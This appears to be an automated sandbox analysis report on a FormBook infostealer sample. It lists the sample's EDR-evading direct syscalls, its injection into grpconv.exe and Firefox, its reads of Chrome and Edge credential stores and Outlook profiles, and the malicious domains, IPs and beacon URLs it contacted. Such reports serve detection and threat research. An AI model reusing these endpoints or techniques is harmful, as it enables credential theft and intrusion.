Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189CA11 mov eax, dword ptr fs:[00000030h] 0_2_0189CA11
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184CA24 mov eax, dword ptr fs:[00000030h] 0_2_0184CA24
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0183EA2E mov eax, dword ptr fs:[00000030h] 0_2_0183EA2E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01834A35 mov eax, dword ptr fs:[00000030h] 0_2_01834A35
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01834A35 mov eax, dword ptr fs:[00000030h] 0_2_01834A35
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184CA38 mov eax, dword ptr fs:[00000030h] 0_2_0184CA38
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01816A50 mov eax, dword ptr fs:[00000030h] 0_2_01816A50
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01816A50 mov eax, dword ptr fs:[00000030h] 0_2_01816A50
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01816A50 mov eax, dword ptr fs:[00000030h] 0_2_01816A50
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01816A50 mov eax, dword ptr fs:[00000030h] 0_2_01816A50

HIPS / PFW / Operating System Protection Evasion
barindex
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtAllocateVirtualMemory: Direct from: 0x76EF48EC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtQueryAttributesFile: Direct from: 0x76EF2E6C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtQuerySystemInformation: Direct from: 0x76EF48CC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtOpenSection: Direct from: 0x76EF2E0C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtDeviceIoControlFile: Direct from: 0x76EF2AEC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtQueryValueKey: Direct from: 0x76EF2BEC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtQueryInformationToken: Direct from: 0x76EF2CAC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtCreateFile: Direct from: 0x76EF2FEC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtOpenFile: Direct from: 0x76EF2DCC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtTerminateThread: Direct from: 0x76EF2FCC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtOpenKeyEx: Direct from: 0x76EF2B9C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtSetInformationProcess: Direct from: 0x76EF2C5C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtProtectVirtualMemory: Direct from: 0x76EF2F9C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtWriteVirtualMemory: Direct from: 0x76EF2E3C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtNotifyChangeKey: Direct from: 0x76EF3C2C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtCreateMutant: Direct from: 0x76EF35CC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtResumeThread: Direct from: 0x76EF36AC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtMapViewOfSection: Direct from: 0x76EF2D1C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtProtectVirtualMemory: Direct from: 0x76EE7B2E Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtAllocateVirtualMemory: Direct from: 0x76EF2BFC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtQuerySystemInformation: Direct from: 0x76EF2DFC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtReadFile: Direct from: 0x76EF2ADC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtDelayExecution: Direct from: 0x76EF2DDC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtQueryInformationProcess: Direct from: 0x76EF2C26 Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtResumeThread: Direct from: 0x76EF2FBC Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtCreateUserProcess: Direct from: 0x76EF371C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtOpenKeyEx: Direct from: 0x76EF3C9C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtWriteVirtualMemory: Direct from: 0x76EF490C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtSetInformationThread: Direct from: 0x76EE63F9 Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtSetInformationThread: Direct from: 0x76EF2B4C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtReadVirtualMemory: Direct from: 0x76EF2E8C Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe NtCreateKey: Direct from: 0x76EF2C6C Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Section loaded: NULL target: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Section loaded: NULL target: C:\Windows\SysWOW64\grpconv.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: NULL target: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: NULL target: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\grpconv.exe Thread register set: target process: 7056 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\grpconv.exe Thread APC queued: target process: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe Process created: C:\Windows\SysWOW64\grpconv.exe "C:\Windows\SysWOW64\grpconv.exe" Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: lByv6mqTCJ.exe, 00000000.00000003.2097880175.000000000139D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SERPROFILE%setup.iniprogman.groupsprogman.onlydesktop.groupsstartup.groupssendto.groupsrecentdocs.groupsSoftware\Microsoft\Windows\CurrentVersionPreConvRenameFilesDeleteFilesRenameFilesSoftware\Microsoft\Windows\CurrentVersion\GrpConv/o-o.grpExceptionReturnHrLogHrFailFast%hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)]
Source: ooaSzUjoYqoTW.exe, 00000002.00000002.3876330055.00000000015F1000.00000002.00000001.00040000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000002.00000000.2051716014.00000000015F1000.00000002.00000001.00040000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000005.00000002.3876554807.00000000013B1000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: lByv6mqTCJ.exe, 00000000.00000003.2097880175.000000000139D000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2131424199.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000002.00000002.3876120909.000000000116E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FSoftware\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders".lnk%HOMEDRIVE%%HOMEPATH%.pif%USERPROFILE%setup.iniprogman.groupsprogman.onlydesktop.groupsstartup.groupssendto.groupsrecentdocs.groupsSoftware\Microsoft\Windows\CurrentVersionPreConvRenameFilesDeleteFilesRenameFilesSoftware\Microsoft\Windows\CurrentVersion\GrpConv/o-o.grpExceptionReturnHrLogHrFailFast%hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)]
Source: ooaSzUjoYqoTW.exe, 00000002.00000002.3876330055.00000000015F1000.00000002.00000001.00040000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000002.00000000.2051716014.00000000015F1000.00000002.00000001.00040000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000005.00000002.3876554807.00000000013B1000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: ooaSzUjoYqoTW.exe, 00000002.00000002.3876330055.00000000015F1000.00000002.00000001.00040000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000002.00000000.2051716014.00000000015F1000.00000002.00000001.00040000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000005.00000002.3876554807.00000000013B1000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: ooaSzUjoYqoTW.exe, 00000002.00000002.3876330055.00000000015F1000.00000002.00000001.00040000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000002.00000000.2051716014.00000000015F1000.00000002.00000001.00040000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000005.00000002.3876554807.00000000013B1000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: lByv6mqTCJ.exe, 00000000.00000003.2097880175.000000000139D000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2131424199.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2097880175.00000000013B0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FileDescriptionWindows Progman Group Converterh$

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 0.2.lByv6mqTCJ.exe.410000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3876568128.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2131471529.0000000000411000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3876436404.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2132420078.0000000001750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3875595230.0000000000620000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.3876687207.0000000005530000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2134057488.0000000004430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\grpconv.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\grpconv.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 0.2.lByv6mqTCJ.exe.410000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3876568128.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2131471529.0000000000411000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3876436404.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2132420078.0000000001750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3875595230.0000000000620000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.3876687207.0000000005530000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2134057488.0000000004430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1530780 Sample: lByv6mqTCJ.exe Startdate: 10/10/2024 Architecture: WINDOWS Score: 100 24 www.nakama2-sshl.xyz 2->24 26 www.mudanya-nakliyat.xyz 2->26 28 16 other IPs or domains 2->28 36 Suricata IDS alerts for network traffic 2->36 38 Malicious sample detected (through community Yara rule) 2->38 40 Antivirus / Scanner detection for submitted sample 2->40 44 4 other signatures 2->44 9 lByv6mqTCJ.exe 2->9         started        signatures3 42 Performs DNS queries to domains with low reputation 26->42 process4 signatures5 48 Maps a DLL or memory area into another process 9->48 12 ooaSzUjoYqoTW.exe 9->12 injected process6 signatures7 50 Found direct / indirect Syscall (likely to bypass EDR) 12->50 15 grpconv.exe 13 12->15         started        process8 signatures9 52 Tries to steal Mail credentials (via file / registry access) 15->52 54 Tries to harvest and steal browser information (history, passwords, etc) 15->54 56 Modifies the context of a thread in another process (thread injection) 15->56 58 3 other signatures 15->58 18 ooaSzUjoYqoTW.exe 15->18 injected 22 firefox.exe 15->22         started        process10 dnsIp11 30 www.nakama2-sshl.xyz 183.181.83.131, 49946, 49959, 49976 VECTANTARTERIANetworksCorporationJP Japan 18->30 32 www.trapkitten.website 195.161.68.8, 49989, 49990, 49991 RTCOMM-ASRU Russian Federation 18->32 34 6 other IPs or domains 18->34 46 Found direct / indirect Syscall (likely to bypass EDR) 18->46 signatures12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
162.0.238.246
 www.jophy.life Canada
22612 NAMECHEAP-NETUS true
13.248.169.48
 www.comedy.finance United States
16509 AMAZON-02US true
45.194.36.12
 cluster580fc23f.abcty2.com Seychelles
328608 Africa-on-Cloud-ASZA true
206.119.82.147
 wdeb18.top United States
174 COGENT-174US true
183.181.83.131
 www.nakama2-sshl.xyz Japan 2519 VECTANTARTERIANetworksCorporationJP true
195.161.68.8
 www.trapkitten.website Russian Federation
8342 RTCOMM-ASRU true
3.33.130.190
 rjscorp.org United States
8987 AMAZONEXPANSIONGB true
85.159.66.93
 natroredirect.natrocdn.com Turkey
34619 CIZGITR true

Contacted Domains

Name IP Active
www.nakama2-sshl.xyz 183.181.83.131 true
rjscorp.org 3.33.130.190 true
www.jophy.life 162.0.238.246 true
wdeb18.top 206.119.82.147 true
www.trapkitten.website 195.161.68.8 true
www.comedy.finance 13.248.169.48 true
cluster580fc23f.abcty2.com 45.194.36.12 true
natroredirect.natrocdn.com 85.159.66.93 true
www.48vlu.shop unknown unknown
www.wdeb18.top unknown unknown
www.085bet.xyz unknown unknown
www.mudanya-nakliyat.xyz unknown unknown
www.kabaribukota.press unknown unknown
www.pussy.coupons unknown unknown
www.rjscorp.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.085bet.xyz/nn3h/ true
    		unknown
    http://www.trapkitten.website/ucuo/ true
      		unknown
      http://www.nakama2-sshl.xyz/bgpi/ true
        		unknown
        http://www.rjscorp.org/cei6/?2z=PtRhXbM&PJ9L=wjh3rahD5O8YyXDPiPgI2jcIa9PhSWViTP6mKxO94t21NngHPpPWFw/W8Bs1fVklZglLQeYSd7bpiR31wlDzTqFVQD+LW583mR1Tetwe2kyAmXAyEFXhKtTdwvrG/oT0lA== true
          		unknown
          http://www.rjscorp.org/cei6/ true
            		unknown
            http://www.comedy.finance/mwd0/?PJ9L=zsNMsRGwEFvVUID2nvwzyJklFTuhYiH3MBMxsvplKOF6Mot/KgyF89prR2KXiWv2/O5FSCYG4KxKtJQmoSRR8B5YKwFVkQBt4uWwdNPaISGNJHiwitW0fGlJLbvQSjZk/A==&2z=PtRhXbM true
              		unknown
              http://www.mudanya-nakliyat.xyz/tkqd/ true
                		unknown
                http://www.nakama2-sshl.xyz/bgpi/?PJ9L=YTBtpahDWzdXKpondkv4unjklxOnnU8zYfk5eJgvm8+FRFKzirlrJKz42G/aqidm6CRQYg/EPrqYrXSvoqI47MOsphbaLGnzH8fia9Q2y/K0qDU8XdfqR00415ssDP2dWw==&2z=PtRhXbM true
                  		unknown
                  http://www.mudanya-nakliyat.xyz/tkqd/?PJ9L=gK3QMDONvn1ERFi3le5iq9CigfqrIypj3GmKmlk3fya6bSQAZ6Mmquf2H7jJBtRUywZhV3/ctEceSqN2mfA4IjI7ZNYjXHB3esnYbISz5Gf8jiahD8UpXyLU85TiP8RgbQ==&2z=PtRhXbM true
                    		unknown
                    http://www.jophy.life/umni/ true
                      		unknown
                      http://www.085bet.xyz/nn3h/?PJ9L=0X/3r3PU8xeQ+UpzBpepRVcIT4+X7S/8fyuzw9u5zzT5DQpczFdmzE38B+SQag3b+0hUKu1k9LV6hnarOtmdXHDrfjsm00b18tkifTWDLiTHQlouOXMCIVM1BtqJliAH1Q==&2z=PtRhXbM true
                        		unknown
                        http://www.jophy.life/umni/?2z=PtRhXbM&PJ9L=JmqTC62v8P7mi6uPhLDAp9iaIjXSB8PwqG0a5mqRptE5j7gES97YNZljt2Ht2eKQTLeZ3UNIpnjTdZAH1rWC29igZO3jlkfdeSpr3eIJWfELnBNobLhFHVBS/RUmS3PasQ== true
                          		unknown
                          http://www.comedy.finance/mwd0/ true
                            		unknown
                            http://www.wdeb18.top/vy4k/?PJ9L=d32l86geEWYHZjxTvbwjbSU9LAKscW6mTUIXWgcYKnqJcO8pcs3M8TeLmvZmGSd++zsCnZUgxj5ZgSRZm5GNnST7Zdxi7nq5Mi/W1p3900gY77wjz5lHrGRPWDQkbfDtqg==&2z=PtRhXbM true
                              		unknown
                              http://www.trapkitten.website/ucuo/?PJ9L=F2idnr0OHvaqOr51MpBBHVyFl1qtLQKAl/KaTPRWCGeZjFeJnhqhzch+KjyhoQK5CvQXQgMRpx/N5s0yRowiXacxk2STcCVUR6hfHsh5g/iR2diS6k4PTHt/uTzg7spZGA==&2z=PtRhXbM true
                                		unknown